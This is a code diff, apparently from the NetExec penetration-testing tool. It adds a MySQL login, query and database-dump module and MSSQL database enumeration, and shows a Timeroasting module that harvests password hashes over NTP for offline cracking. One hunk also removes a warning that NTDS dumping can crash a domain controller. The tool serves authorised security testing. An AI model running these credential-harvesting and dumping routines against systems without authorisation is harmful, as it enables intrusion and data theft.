context.log.debug(f"Did not write to {share['name']} share as it was not specified in the SHARES option")
|
||||
continue
|
||||
|
||||
|
||||
context.log.success(f"Found writable share: {share['name']}")
|
||||
if not self.cleanup:
|
||||
with open(self.local_lnk_path, "rb") as lnk:
|
||||
|
||||
@@ -106,7 +106,7 @@ class NXCModule:
|
||||
|
||||
if total_files_downloaded > 0 and host_output_path:
|
||||
context.log.success(f"{total_files_downloaded} file(s) downloaded from host {connection.host} to {host_output_path}.")
|
||||
|
||||
|
||||
def find_screenshots_folders(self, user_folder_name):
|
||||
"""
|
||||
Dynamically searches for all Screenshots folders in the user's home directory.
|
||||
|
||||
@@ -30,7 +30,7 @@ class NXCModule:
|
||||
|
||||
# Static NTP query prefix using the MD5 authenticator. Append 4-byte RID and dummy checksum to create a full query.
|
||||
self.ntp_prefix = unhexlify("db0011e9000000000001000000000000e1b8407debc7e50600000000000000000000000000000000e1b8428bffbfcd0a")
|
||||
|
||||
|
||||
def options(self, context, module_options):
|
||||
self.rids = range(1, 2**31)
|
||||
self.rate = 180
|
||||
@@ -55,17 +55,17 @@ class NXCModule:
|
||||
self.target = connection.host
|
||||
|
||||
context.log.display("Starting Timeroasting...")
|
||||
|
||||
|
||||
for rid, md5hash, salt in self.run_ntp_roast(context, self.target, self.rids, self.rate, self.timeout, self.old_hashes, self.src_port):
|
||||
context.log.highlight(hashcat_format(rid, md5hash, salt))
|
||||
|
||||
def run_ntp_roast(self, context, dc_host, rids, rate, giveup_time, old_pwd, src_port=0):
|
||||
"""Gathers MD5(MD4(password) || NTP-response[:48]) hashes for a sequence of RIDs.
|
||||
Rate is the number of queries per second to send.
|
||||
Will quit when either rids ends or no response has been received in giveup_time seconds. Note that the server will
|
||||
not respond to queries with non-existing RIDs, so it is difficult to distinguish nonexistent RIDs from network
|
||||
Will quit when either rids ends or no response has been received in giveup_time seconds. Note that the server will
|
||||
not respond to queries with non-existing RIDs, so it is difficult to distinguish nonexistent RIDs from network
|
||||
issues.
|
||||
|
||||
|
||||
Yields (rid, hash, salt) pairs, where salt is the NTP response data.
|
||||
"""
|
||||
# Flag in key identifier that indicates whether the old or new password should be used.
|
||||
@@ -105,4 +105,4 @@ class NXCModule:
|
||||
if answer_rid not in rids_received:
|
||||
rids_received.add(answer_rid)
|
||||
yield answer_rid, md5hash, salt
|
||||
last_ok_time = time()
|
||||
last_ok_time = time()
|
||||
+1
-1
@@ -273,4 +273,4 @@ class NXCModule:
|
||||
users[ntpath.basename(profile_path.rstrip("\0"))] = sid.rstrip("\0")
|
||||
rrp.hBaseRegCloseKey(conn._RemoteOperations__rrp, keyHandle)
|
||||
|
||||
return users
|
||||
return users
|
||||
+2
-2
@@ -34,12 +34,12 @@ class NXCModule:
|
||||
no_pass=True,
|
||||
use_kcache=getattr(connection, "use_kcache", False),
|
||||
)
|
||||
|
||||
|
||||
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
|
||||
if conn is None:
|
||||
context.log.debug("Could not upgrade connection")
|
||||
return
|
||||
|
||||
|
||||
self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False)
|
||||
|
||||
if len(self.masterkeys) == 0:
|
||||
|
||||
@@ -102,7 +102,7 @@ class NXCModule:
|
||||
|
||||
# Process Bad Password Count
|
||||
if "badPwdCount" in response:
|
||||
context.log.highlight(f"Bad Passwod Count: {response['badPwdCount']}")
|
||||
context.log.highlight(f"Bad Password Count: {response['badPwdCount']}")
|
||||
|
||||
# Process servicePrincipalName
|
||||
if "servicePrincipalName" in response:
|
||||
|
||||
@@ -194,11 +194,6 @@ def main():
|
||||
proto_module_paths.append(modules[m]["path"])
|
||||
protocol_object.module_paths = proto_module_paths
|
||||
|
||||
if hasattr(args, "ntds") and args.ntds and not args.userntds:
|
||||
ans = input(highlight("[!] Dumping the ntds can crash the DC on Windows Server 2019. Use the option --user <user> to dump a specific user safely or the module -M ntdsutil [Y/n] ", "red"))
|
||||
if ans.lower() not in ["y", "yes", ""]:
|
||||
exit(1)
|
||||
|
||||
if args.jitter and len(targets) > 1:
|
||||
nxc_logger.highlight(highlight("[!] Jitter is only throttling authentications per target!", "red"))
|
||||
|
||||
|
||||
+3
-3
@@ -379,7 +379,7 @@ class DatabaseNavigator(cmd.Cmd):
|
||||
help_string = """
|
||||
export [creds|hosts|local_admins|shares|signing|keys] [simple|detailed|*] [filename]
|
||||
Exports information to a specified file
|
||||
|
||||
|
||||
* hosts has an additional third option from simple and detailed: signing - this simply writes a list of ips of
|
||||
hosts where signing is enabled
|
||||
* keys' third option is either "all" or an id of a key to export
|
||||
@@ -521,13 +521,13 @@ class NXCDBMenu(cmd.Cmd):
|
||||
Exits
|
||||
"""
|
||||
print_help(help_string)
|
||||
|
||||
|
||||
|
||||
def main():
|
||||
if not exists(CONFIG_PATH):
|
||||
print("[-] Unable to find config file")
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
parser = argparse.ArgumentParser(
|
||||
description="NXCDB is a database navigator for NXC",
|
||||
)
|
||||
|
||||
@@ -136,7 +136,7 @@ class ftp(connection):
|
||||
if self.conn.encoding == "utf-8":
|
||||
# Switch the connection to binary
|
||||
self.conn.sendcmd("TYPE I")
|
||||
# Check if the file exists
|
||||
# Check if the file exists
|
||||
self.conn.size(filename)
|
||||
# Attempt to download the file
|
||||
self.conn.retrbinary(f"RETR {filename}", open(downloaded_file, "wb").write) # noqa: SIM115
|
||||
|
||||
@@ -1405,10 +1405,10 @@ class ldap(connection):
|
||||
# Convert LDAP time to human readable format
|
||||
def pso_days(ldap_time):
|
||||
return f"{rd(seconds=int(abs(int(ldap_time)) / 10000000)).days} days"
|
||||
|
||||
|
||||
def pso_mins(ldap_time):
|
||||
return f"{rd(seconds=int(abs(int(ldap_time)) / 10000000)).minutes} minutes"
|
||||
|
||||
|
||||
# Are there even any FGPPs?
|
||||
self.logger.info("Attempting to enumerate policies...")
|
||||
resp = self.search(searchFilter="(objectclass=*)", baseDN=f"CN=Password Settings Container,CN=System,{self.baseDN}", attributes=[])
|
||||
|
||||
@@ -188,4 +188,4 @@ class navigator(DatabaseNavigator):
|
||||
THIS COMPLETELY DESTROYS ALL DATA IN THE CURRENTLY CONNECTED DATABASE
|
||||
YOU CANNOT UNDO THIS COMMAND
|
||||
"""
|
||||
print_help(help_string)
|
||||
print_help(help_string)
|
||||
@@ -61,4 +61,4 @@ class LDAPResolution:
|
||||
nxc_logger.error(f"Error getting ldap info {e}")
|
||||
|
||||
nxc_logger.debug(f"Target: {machine_name}.{target_domain}; target_domain: {target_domain}; base_dn: {base_dn}")
|
||||
return machine_name, target_domain
|
||||
return machine_name, target_domain
|
||||
@@ -435,3 +435,74 @@ class mssql(connection):
|
||||
|
||||
so_far += simultaneous
|
||||
return entries
|
||||
|
||||
def _qname(self, ident: str) -> str:
|
||||
if ident is None:
|
||||
return "[]"
|
||||
return "[" + str(ident).replace("]", "]]") + "]"
|
||||
|
||||
def list_databases(self):
|
||||
try:
|
||||
q = (
|
||||
"SELECT d.name AS DatabaseName, "
|
||||
" suser_sname(d.owner_sid) AS Owner "
|
||||
"FROM sys.databases d "
|
||||
"ORDER BY d.name;"
|
||||
)
|
||||
rows = self.conn.sql_query(q) or []
|
||||
if not rows:
|
||||
self.logger.display("No databases returned")
|
||||
return
|
||||
|
||||
self.logger.display("Enumerated databases")
|
||||
self.logger.highlight(f"{'Database Name':<30} {'Owner':<25}")
|
||||
self.logger.highlight(f"{'-' * 30} {'-' * 25}")
|
||||
for r in rows:
|
||||
self.logger.highlight(f"{r.get('DatabaseName', ''):<30} {r.get('Owner', ''):<25}")
|
||||
self.logger.highlight(f"Total: {len(rows)} database(s)")
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Failed to enumerate databases: {e}")
|
||||
self.logger.debug("list_databases error", exc_info=True)
|
||||
|
||||
def database(self):
|
||||
db_arg = self.args.database
|
||||
|
||||
# nxc --database (no value) -> list
|
||||
if db_arg is True or db_arg is None:
|
||||
self.list_databases()
|
||||
return
|
||||
|
||||
# nxc --database <name> -> tables
|
||||
if isinstance(db_arg, str):
|
||||
try:
|
||||
safe = db_arg.replace("'", "''")
|
||||
exists = self.conn.sql_query(f"SELECT 1 FROM sys.databases WHERE name = N'{safe}';")
|
||||
if not exists:
|
||||
self.logger.fail(f"Database [{db_arg}] does not exist on the server.")
|
||||
return
|
||||
|
||||
tq = (
|
||||
f"SELECT t.name AS TableName, t.modify_date "
|
||||
f"FROM {self._qname(db_arg)}.sys.tables t "
|
||||
f"ORDER BY t.name;"
|
||||
)
|
||||
rows = self.conn.sql_query(tq) or []
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Insufficient permissions or query error in [{db_arg}]: {e}")
|
||||
self.logger.debug("database() error", exc_info=True)
|
||||
return
|
||||
|
||||
if not rows:
|
||||
self.logger.display(f"Database [{db_arg}] has no user tables.")
|
||||
return
|
||||
|
||||
self.logger.display(f"Tables in database: {db_arg}")
|
||||
self.logger.highlight(f"{'Table Name':<50} {'Last Modified':<25}")
|
||||
self.logger.highlight(f"{'-' * 50} {'-' * 25}")
|
||||
for r in rows:
|
||||
mod = r.get("modify_date", "")
|
||||
if mod and hasattr(mod, "strftime"):
|
||||
mod = mod.strftime("%Y-%m-%d %H:%M:%S")
|
||||
self.logger.highlight(f"{r.get('TableName', ''):<50} {mod!s:<25}")
|
||||
self.logger.highlight(f"Total: {len(rows)} table(s)")
|
||||
return
|
||||
@@ -6,7 +6,8 @@ def proto_args(parser, parents):
|
||||
mssql_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes")
|
||||
mssql_parser.add_argument("--port", default=1433, type=int, metavar="PORT", help="MSSQL port")
|
||||
mssql_parser.add_argument("--mssql-timeout", help="SQL server connection timeout", type=int, default=5)
|
||||
mssql_parser.add_argument("-q", "--query", dest="mssql_query", metavar="QUERY", type=str, help="execute the specified query against the MSSQL DB")
|
||||
mssql_parser.add_argument("-q", "--query", dest="mssql_query", metavar="QUERY", type=str, help="execute the specified query against the mssql db")
|
||||
mssql_parser.add_argument("--database", nargs="?", const=True, metavar="NAME", help="list databases or list tables for NAME")
|
||||
|
||||
dgroup = mssql_parser.add_mutually_exclusive_group()
|
||||
dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, help="domain name")
|
||||
@@ -31,4 +32,4 @@ def proto_args(parser, parents):
|
||||
|
||||
mapping_enum_group = mssql_parser.add_argument_group("Mapping/Enumeration", "Options for Mapping/Enumerating")
|
||||
mapping_enum_group.add_argument("--rid-brute", nargs="?", type=int, const=4000, metavar="MAX_RID", help="enumerate users by bruteforcing RIDs")
|
||||
return parser
|
||||
return parser
|
||||
@@ -0,0 +1,275 @@
|
||||
import socket
|
||||
import contextlib
|
||||
from nxc.config import process_secret
|
||||
from nxc.connection import connection
|
||||
from nxc.logger import NXCAdapter
|
||||
from pymysql.connections import Connection
|
||||
from pymysql.err import OperationalError
|
||||
|
||||
|
||||
class mysql(connection):
|
||||
def __init__(self, args, db, host):
|
||||
self.protocol = "MySQL"
|
||||
self.remote_version = None
|
||||
self._pinged = False
|
||||
super().__init__(args, db, host)
|
||||
|
||||
def proto_logger(self):
|
||||
self.logger = NXCAdapter(
|
||||
extra={
|
||||
"protocol": "MySQL",
|
||||
"host": self.host,
|
||||
"port": self.port,
|
||||
"hostname": self.hostname,
|
||||
}
|
||||
)
|
||||
|
||||
def create_conn_obj(self):
|
||||
"""Create the connection object, but defer the actual connection
|
||||
Because of how proto_flow works, we do an initial custom socket to ensure there is something on the port,
|
||||
then we can get server information with that same socket if there is something there
|
||||
"""
|
||||
self.logger.debug(f"Creating connection object for {self.host}:{self.port}")
|
||||
|
||||
# during the initial connection the username and password are actually blank
|
||||
self.conn = Connection(
|
||||
host=self.host,
|
||||
port=self.port,
|
||||
user=self.username,
|
||||
password=self.password,
|
||||
defer_connect=True,
|
||||
)
|
||||
self.logger.debug(f"Connection object created for {self.host}:{self.port}")
|
||||
|
||||
# we don't want to do additional useless TCP handshake requests for connect(), etc, so we only "ping" it once
|
||||
if not self._pinged:
|
||||
self.logger.debug(f"Making initial socket connection to {self.host}:{self.port}")
|
||||
try:
|
||||
self.conn._sock = socket.create_connection((self.host, self.port))
|
||||
self._pinged = True
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error creating socket connection: {e}")
|
||||
return False
|
||||
return True
|
||||
|
||||
def enum_host_info(self):
|
||||
"""Use existing socket but only get the server information
|
||||
The way we do this actually sends less packets than nmap -sV, since they open a socket for ping then don't reuse it
|
||||
We also don't want to send a QUIT message, so we use _force_close()
|
||||
"""
|
||||
self.logger.debug("Getting server information")
|
||||
|
||||
try:
|
||||
# setup the socket for the server information request
|
||||
self.conn._rfile = self.conn._sock.makefile("rb")
|
||||
self.conn._next_seq_id = 0
|
||||
self.conn._get_server_information()
|
||||
if self.conn.server_version:
|
||||
self.remote_version = self.conn.server_version
|
||||
self.logger.debug(f"Server information: {self.remote_version}")
|
||||
try:
|
||||
self.db.add_host(self.host, self.port, self.remote_version)
|
||||
except IndexError as e:
|
||||
self.logger.debug(f"Error adding host to DB: {e}, trying one more time...")
|
||||
self.db.add_host(self.host, self.port, self.remote_version)
|
||||
|
||||
with contextlib.suppress(Exception):
|
||||
self.conn._force_close() # close the socket without sending a QUIT message
|
||||
except OperationalError as e:
|
||||
if "is not allowed to connect to" in str(e):
|
||||
self.logger.fail("Host is not allowed to connect to server")
|
||||
exit(1)
|
||||
else:
|
||||
self.logger.fail(f"Error getting server information: {e}")
|
||||
|
||||
def print_host_info(self):
|
||||
if self.remote_version:
|
||||
self.logger.display(f"MySQL Version: {self.remote_version}")
|
||||
|
||||
def plaintext_login(self, username, password):
|
||||
"""Authenticate with MySQL server using username/password via pymysql connect."""
|
||||
self.password = password
|
||||
self.username = username
|
||||
self.create_conn_obj()
|
||||
|
||||
try:
|
||||
self.logger.debug(f"Attempting login with {username}:{process_secret(password)}")
|
||||
self.conn.connect()
|
||||
self.logger.debug(f"Authenticated to {self.host}:{self.port}")
|
||||
self.logger.success(f"{self.username}:{process_secret(self.password)} {self.mark_pwned()}")
|
||||
|
||||
cred_id = self.db.add_credential(username, password)
|
||||
host_id = self.db.get_hosts(self.host)[0].id
|
||||
self.db.add_loggedin_relation(cred_id, host_id)
|
||||
return True
|
||||
except Exception as e:
|
||||
self.logger.fail(f"{username}:{process_secret(password)} (Response:{e})")
|
||||
with contextlib.suppress(Exception):
|
||||
if self.conn:
|
||||
self.conn.close()
|
||||
return False
|
||||
|
||||
def query(self):
|
||||
"""Execute a custom SQL query."""
|
||||
sql = self.args.query
|
||||
try:
|
||||
cursor = self.conn.cursor()
|
||||
self.logger.display(f"Executing query: {sql}")
|
||||
cursor.execute(sql)
|
||||
|
||||
if cursor.description:
|
||||
results = cursor.fetchall()
|
||||
if results:
|
||||
self.logger.display(f"Query Results ({len(results)} rows):")
|
||||
for i, row in enumerate(results):
|
||||
self.logger.highlight(f"Row {i + 1}: {row}")
|
||||
else:
|
||||
self.logger.display("Query executed successfully (no results)")
|
||||
else:
|
||||
affected_rows = cursor.rowcount
|
||||
self.logger.display(f"Query executed successfully. {affected_rows} rows affected.")
|
||||
|
||||
cursor.close()
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Error executing query: {e}")
|
||||
|
||||
def databases(self):
|
||||
"""List all databases."""
|
||||
try:
|
||||
cursor = self.conn.cursor()
|
||||
try:
|
||||
cursor.execute("SHOW DATABASES")
|
||||
except Exception:
|
||||
cursor.execute("SHOW DATABASES LIKE '%'")
|
||||
databases = cursor.fetchall()
|
||||
|
||||
if databases:
|
||||
self.logger.display(f"Available Databases ({len(databases)}):")
|
||||
for db in databases:
|
||||
self.logger.highlight(db[0])
|
||||
else:
|
||||
self.logger.display("No databases found or access denied.")
|
||||
|
||||
cursor.close()
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Error listing databases: {e}")
|
||||
|
||||
def tables(self):
|
||||
"""List tables in specified database."""
|
||||
database = self.args.tables
|
||||
try:
|
||||
cursor = self.conn.cursor()
|
||||
cursor.execute(f"USE `{database}`")
|
||||
try:
|
||||
cursor.execute("SHOW TABLES")
|
||||
except Exception:
|
||||
cursor.execute(f"SHOW TABLES FROM `{database}`")
|
||||
results = cursor.fetchall()
|
||||
|
||||
if results:
|
||||
self.logger.display(f"Tables in {database} ({len(results)}):")
|
||||
for table in results:
|
||||
self.logger.highlight(table[0])
|
||||
else:
|
||||
self.logger.display(f"No tables found in database '{database}' or access denied.")
|
||||
|
||||
cursor.close()
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Error listing tables: {e}")
|
||||
|
||||
def dump_database(self):
|
||||
"""Dump database structure and sample data."""
|
||||
database = self.args.dump_database
|
||||
try:
|
||||
cursor = self.conn.cursor()
|
||||
cursor.execute(f"USE `{database}`")
|
||||
try:
|
||||
cursor.execute("SHOW TABLES")
|
||||
except Exception:
|
||||
cursor.execute(f"SHOW TABLES FROM `{database}`")
|
||||
tables = cursor.fetchall()
|
||||
|
||||
if not tables:
|
||||
self.logger.display(f"No tables found in database '{database}'")
|
||||
cursor.close()
|
||||
return
|
||||
|
||||
self.logger.display(f"Database dump for {database} ({len(tables)} tables):")
|
||||
|
||||
for table in tables:
|
||||
table_name = table[0]
|
||||
self.logger.highlight(f"Table: {table_name}")
|
||||
|
||||
try:
|
||||
cursor.execute(f"DESCRIBE `{table_name}`")
|
||||
structure = cursor.fetchall()
|
||||
|
||||
if structure:
|
||||
self.logger.display(" Schema:")
|
||||
self.logger.display(f" {'Field':<15} | {'Type':<15} | {'Null':<4} | {'Key':<15} | {'Default':<15} | {'Extra':<15}")
|
||||
self.logger.display(f" {'-' * 15} | {'-' * 15} | {'-' * 4} | {'-' * 15} | {'-' * 15} | {'-' * 15}")
|
||||
|
||||
for col in structure:
|
||||
formatted_values = []
|
||||
for idx, value in enumerate(col):
|
||||
# third column is whether the column is nullable, so either YES or NO
|
||||
if idx != 2:
|
||||
formatted_values.append(f"{value!s:<15}")
|
||||
else:
|
||||
formatted_values.append(f"{value!s:<4}")
|
||||
self.logger.display(f" {' | '.join(formatted_values)}")
|
||||
|
||||
try:
|
||||
cursor.execute(f"SELECT * FROM `{table_name}` LIMIT 5")
|
||||
data = cursor.fetchall()
|
||||
|
||||
if data:
|
||||
self.logger.display(f" Data ({len(data)} rows):")
|
||||
for i, row in enumerate(data):
|
||||
self.logger.display(f" Row {i + 1}: {row}")
|
||||
else:
|
||||
self.logger.display(" Data: No data in table")
|
||||
except Exception as e:
|
||||
self.logger.display(f" Data: Error reading data - {e}")
|
||||
except Exception as e:
|
||||
self.logger.display(f" Error processing table: {e}")
|
||||
|
||||
self.logger.display("")
|
||||
|
||||
cursor.close()
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Error dumping database: {e}")
|
||||
|
||||
def server_capabilities(self):
|
||||
"""Display MySQL server capabilities."""
|
||||
try:
|
||||
cursor = self.conn.cursor()
|
||||
capabilities = {}
|
||||
try:
|
||||
cursor.execute("SHOW VARIABLES LIKE 'have_ssl'")
|
||||
result = cursor.fetchone()
|
||||
capabilities["ssl"] = result[1] if result else "Unknown"
|
||||
except Exception:
|
||||
capabilities["ssl"] = "Not supported"
|
||||
try:
|
||||
cursor.execute("SHOW PLUGINS")
|
||||
plugins = cursor.fetchall()
|
||||
auth_plugins = [row[1] for row in plugins if "auth" in row[1].lower()]
|
||||
capabilities["auth_plugins"] = auth_plugins
|
||||
except Exception:
|
||||
capabilities["auth_plugins"] = ["Unknown"]
|
||||
try:
|
||||
cursor.execute("SELECT @@sql_mode")
|
||||
result = cursor.fetchone()
|
||||
capabilities["sql_mode"] = result[0] if result else "Unknown"
|
||||
except Exception:
|
||||
capabilities["sql_mode"] = "Unknown"
|
||||
cursor.close()
|
||||
|
||||
self.logger.display("Server capabilities:")
|
||||
self.logger.display(f" SSL: {capabilities['ssl']}")
|
||||
self.logger.display(f" Auth plugins: {capabilities['auth_plugins']}")
|
||||
self.logger.display(f" SQL mode: {capabilities['sql_mode']}")
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error getting server capabilities: {e}")
|
||||
return {}
|
||||
@@ -0,0 +1 @@
|
||||
|
||||
@@ -0,0 +1,278 @@
|
||||
import sys
|
||||
|
||||
from sqlalchemy import Table, select, delete, func
|
||||
from sqlalchemy.dialects.sqlite import Insert
|
||||
from sqlalchemy.exc import (
|
||||
NoInspectionAvailable,
|
||||
NoSuchTableError,
|
||||
)
|
||||
|
||||
from nxc.database import BaseDB, format_host_query
|
||||
from nxc.logger import nxc_logger
|
||||
|
||||
|
||||
class database(BaseDB):
|
||||
def __init__(self, db_engine):
|
||||
self.CredentialsTable = None
|
||||
self.HostsTable = None
|
||||
self.LoggedinRelationsTable = None
|
||||
|
||||
super().__init__(db_engine)
|
||||
|
||||
@staticmethod
|
||||
def db_schema(db_conn):
|
||||
db_conn.execute(
|
||||
"""CREATE TABLE "credentials" (
|
||||
"id" integer PRIMARY KEY,
|
||||
"username" text,
|
||||
"password" text
|
||||
)"""
|
||||
)
|
||||
|
||||
db_conn.execute(
|
||||
"""CREATE TABLE "hosts" (
|
||||
"id" integer PRIMARY KEY,
|
||||
"host" text,
|
||||
"port" integer,
|
||||
"banner" text
|
||||
)"""
|
||||
)
|
||||
db_conn.execute(
|
||||
"""CREATE TABLE "loggedin_relations" (
|
||||
"id" integer PRIMARY KEY,
|
||||
"credid" integer,
|
||||
"hostid" integer,
|
||||
FOREIGN KEY(credid) REFERENCES credentials(id),
|
||||
FOREIGN KEY(hostid) REFERENCES hosts(id)
|
||||
)"""
|
||||
)
|
||||
|
||||
def reflect_tables(self):
|
||||
with self.db_engine.connect():
|
||||
try:
|
||||
self.CredentialsTable = Table("credentials", self.metadata, autoload_with=self.db_engine)
|
||||
self.HostsTable = Table("hosts", self.metadata, autoload_with=self.db_engine)
|
||||
self.LoggedinRelationsTable = Table("loggedin_relations", self.metadata, autoload_with=self.db_engine)
|
||||
except (NoInspectionAvailable, NoSuchTableError):
|
||||
print(
|
||||
f"""
|
||||
[-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
|
||||
[-] This is probably because a newer version of nxc is being run on an old DB schema
|
||||
[-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
|
||||
[-] Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
|
||||
)
|
||||
sys.exit()
|
||||
|
||||
def add_host(self, host, port, banner):
|
||||
"""Check if this host is already in the DB, if not add it"""
|
||||
hosts = []
|
||||
updated_ids = []
|
||||
|
||||
q = select(self.HostsTable).filter(self.HostsTable.c.host == host)
|
||||
results = self.db_execute(q).all()
|
||||
|
||||
# create new host
|
||||
if not results:
|
||||
new_host = {
|
||||
"host": host,
|
||||
"port": port,
|
||||
"banner": banner,
|
||||
}
|
||||
hosts = [new_host]
|
||||
# update existing hosts data
|
||||
else:
|
||||
for host_result in results:
|
||||
host_data = host_result._asdict()
|
||||
nxc_logger.debug(f"host: {host_result}")
|
||||
nxc_logger.debug(f"host_data: {host_data}")
|
||||
# only update column if it is being passed in
|
||||
if host is not None:
|
||||
host_data["host"] = host
|
||||
if port is not None:
|
||||
host_data["port"] = port
|
||||
if banner is not None:
|
||||
host_data["banner"] = banner
|
||||
# only add host to be updated if it has changed
|
||||
if host_data not in hosts:
|
||||
hosts.append(host_data)
|
||||
updated_ids.append(host_data["id"])
|
||||
nxc_logger.debug(f"Hosts: {hosts}")
|
||||
|
||||
# TODO: find a way to abstract this away to a single Upsert call
|
||||
q = Insert(self.HostsTable)
|
||||
update_columns = {col.name: col for col in q.excluded if col.name not in "id"}
|
||||
q = q.on_conflict_do_update(index_elements=self.HostsTable.primary_key, set_=update_columns)
|
||||
|
||||
self.db_execute(q, hosts)
|
||||
# we only return updated IDs for now - when RETURNING clause is allowed we can return inserted
|
||||
if updated_ids:
|
||||
nxc_logger.debug(f"add_host() - Host IDs Updated: {updated_ids}")
|
||||
return updated_ids
|
||||
|
||||
def add_credential(self, username, password):
|
||||
"""Check if this credential has already been added to the database, if not add it in."""
|
||||
credentials = []
|
||||
|
||||
q = select(self.CredentialsTable).filter(func.lower(self.CredentialsTable.c.username) == func.lower(username),
|
||||
func.lower(self.CredentialsTable.c.password) == func.lower(password))
|
||||
results = self.db_execute(q).all()
|
||||
|
||||
# add new credential
|
||||
if not results:
|
||||
new_cred = {
|
||||
"username": username,
|
||||
"password": password,
|
||||
}
|
||||
credentials = [new_cred]
|
||||
# update existing cred data
|
||||
else:
|
||||
for creds in results:
|
||||
# this will include the id, so we don't touch it
|
||||
cred_data = creds._asdict()
|
||||
# only update column if it is being passed in
|
||||
if username is not None:
|
||||
cred_data["username"] = username
|
||||
if password is not None:
|
||||
cred_data["password"] = password
|
||||
# only add cred to be updated if it has changed
|
||||
if cred_data not in credentials:
|
||||
credentials.append(cred_data)
|
||||
|
||||
# TODO: find a way to abstract this away to a single Upsert call
|
||||
q_users = Insert(self.CredentialsTable)
|
||||
update_columns_users = {col.name: col for col in q_users.excluded if col.name not in "id"}
|
||||
q_users = q_users.on_conflict_do_update(index_elements=self.CredentialsTable.primary_key,
|
||||
set_=update_columns_users)
|
||||
nxc_logger.debug(f"Adding credentials: {credentials}")
|
||||
|
||||
self.db_execute(q_users, credentials)
|
||||
|
||||
# hacky way to get cred_id since we can't use returning() yet
|
||||
if len(credentials) == 1:
|
||||
return self.get_credential(username, password)
|
||||
else:
|
||||
return credentials
|
||||
|
||||
def remove_credentials(self, creds_id):
|
||||
"""Removes a credential ID from the database"""
|
||||
del_hosts = []
|
||||
for cred_id in creds_id:
|
||||
q = delete(self.CredentialsTable).filter(self.CredentialsTable.c.id == cred_id)
|
||||
del_hosts.append(q)
|
||||
self.db_execute(q)
|
||||
|
||||
def is_credential_valid(self, credential_id):
|
||||
"""Check if this credential ID is valid."""
|
||||
q = select(self.CredentialsTable).filter(
|
||||
self.CredentialsTable.c.id == credential_id,
|
||||
self.CredentialsTable.c.password is not None,
|
||||
)
|
||||
results = self.db_execute(q).all()
|
||||
return len(results) > 0
|
||||
|
||||
def get_credential(self, username, password):
|
||||
q = select(self.CredentialsTable).filter(
|
||||
self.CredentialsTable.c.username == username,
|
||||
self.CredentialsTable.c.password == password,
|
||||
)
|
||||
results = self.db_execute(q).first()
|
||||
if results is not None:
|
||||
return results.id
|
||||
|
||||
def get_credentials(self, filter_term=None):
|
||||
"""Return credentials from the database."""
|
||||
# if we're returning a single credential by ID
|
||||
if self.is_credential_valid(filter_term):
|
||||
q = select(self.CredentialsTable).filter(self.CredentialsTable.c.id == filter_term)
|
||||
# if we're filtering by username
|
||||
elif filter_term and filter_term != "":
|
||||
like_term = func.lower(f"%{filter_term}%")
|
||||
q = select(self.CredentialsTable).filter(func.lower(self.CredentialsTable.c.username).like(like_term))
|
||||
# otherwise return all credentials
|
||||
else:
|
||||
q = select(self.CredentialsTable)
|
||||
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def is_host_valid(self, host_id):
|
||||
"""Check if this host ID is valid."""
|
||||
q = select(self.HostsTable).filter(self.HostsTable.c.id == host_id)
|
||||
results = self.db_execute(q).all()
|
||||
return len(results) > 0
|
||||
|
||||
def get_hosts(self, filter_term=None):
|
||||
"""Return hosts from the database."""
|
||||
q = select(self.HostsTable)
|
||||
|
||||
# if we're returning a single host by ID
|
||||
if self.is_host_valid(filter_term):
|
||||
q = q.filter(self.HostsTable.c.id == filter_term)
|
||||
results = self.db_execute(q).first()
|
||||
# all() returns a list, so we keep the return format the same so consumers don't have to guess
|
||||
return [results]
|
||||
# if we're filtering by host
|
||||
elif filter_term and filter_term != "":
|
||||
q = format_host_query(q, filter_term, self.HostsTable)
|
||||
|
||||
results = self.db_execute(q).all()
|
||||
nxc_logger.debug(f"MySQL get_hosts() - results: {results}")
|
||||
return results
|
||||
|
||||
def is_user_valid(self, cred_id):
|
||||
"""Check if this User ID is valid."""
|
||||
q = select(self.CredentialsTable).filter(self.CredentialsTable.c.id == cred_id)
|
||||
results = self.db_execute(q).all()
|
||||
return len(results) > 0
|
||||
|
||||
def get_user(self, username):
|
||||
q = select(self.CredentialsTable).filter(func.lower(self.CredentialsTable.c.username) == func.lower(username))
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def get_users(self, filter_term=None):
|
||||
q = select(self.CredentialsTable)
|
||||
|
||||
if self.is_user_valid(filter_term):
|
||||
q = q.filter(self.CredentialsTable.c.id == filter_term)
|
||||
# if we're filtering by username
|
||||
elif filter_term and filter_term != "":
|
||||
like_term = func.lower(f"%{filter_term}%")
|
||||
q = q.filter(func.lower(self.CredentialsTable.c.username).like(like_term))
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def add_loggedin_relation(self, cred_id, host_id):
|
||||
relation_query = select(self.LoggedinRelationsTable).filter(
|
||||
self.LoggedinRelationsTable.c.credid == cred_id,
|
||||
self.LoggedinRelationsTable.c.hostid == host_id,
|
||||
)
|
||||
results = self.db_execute(relation_query).all()
|
||||
|
||||
# only add one if one doesn't already exist
|
||||
if not results:
|
||||
relation = {"credid": cred_id, "hostid": host_id}
|
||||
try:
|
||||
nxc_logger.debug(f"Inserting loggedin_relations: {relation}")
|
||||
# TODO: find a way to abstract this away to a single Upsert call
|
||||
q = Insert(self.LoggedinRelationsTable)
|
||||
|
||||
self.db_execute(q, [relation])
|
||||
inserted_id_results = self.get_loggedin_relations(cred_id, host_id)
|
||||
nxc_logger.debug(f"Checking if relation was added: {inserted_id_results}")
|
||||
return inserted_id_results[0].id
|
||||
except Exception as e:
|
||||
nxc_logger.debug(f"Error inserting LoggedinRelation: {e}")
|
||||
|
